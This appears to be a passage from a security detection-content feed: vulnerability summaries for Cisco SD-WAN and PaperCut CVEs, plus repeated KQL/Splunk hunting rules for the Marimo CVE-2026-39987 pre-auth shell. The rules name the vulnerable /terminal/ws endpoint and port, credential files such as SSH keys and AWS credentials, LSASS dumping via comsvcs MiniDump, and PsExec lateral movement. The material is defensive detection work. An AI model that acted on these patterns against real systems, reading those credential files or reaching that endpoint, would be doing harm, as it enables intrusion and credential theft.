by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-204 use cases0 techniques3 kill-chain phases detected
Cisco Catalyst SD-WAN Manager contains an incorrect use of privileged APIs vulnerability due to improper file handling on the API interface of an affected system. An attacker could exploit this vulnerability by uploading a malicious file on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on the affected system and gain vmanage user privileges. Vendor: Cisco, Product: Catalyst SD-WAN Manger. Federal patch due: 2026-04-23.
CVEsCVE-2026-20122
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-20122")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-20122")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-204 use cases0 techniques3 kill-chain phases detected
Cisco Catalyst SD-WAN Manager contains an exposure of sensitive information to an unauthorized actor vulnerability that could allow remote attackers to view sensitive information on affected systems. Vendor: Cisco, Product: Catalyst SD-WAN Manager. Federal patch due: 2026-04-23.
CVEsCVE-2026-20133
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-20133")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-20133")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-207 use cases1 technique3 kill-chain phases detected
PaperCut NG/MF contains an improper authentication vulnerability that could allow remote attackers to bypass authentication on affected installations via the SecurityRequestFilter class. Vendor: PaperCut, Product: NG/MF. Known ransomware use: Known. Federal patch due: 2026-05-04.
CVEsCVE-2023-27351
ATT&CKT1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2023-27351")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2023-27351")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-204 use cases0 techniques3 kill-chain phases detected
Cisco Catalyst SD-WAN Manager contains a storing passwords in a recoverable format vulnerability that allows an authenticated, local attacker to gain DCA user privileges by accessing a credential file for the DCA user on the filesystem as a low-privileged user. Vendor: Cisco, Product: Catalyst SD-WAN Manager. Federal patch due: 2026-04-23.
CVEsCVE-2026-20128
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-20128")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-20128")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
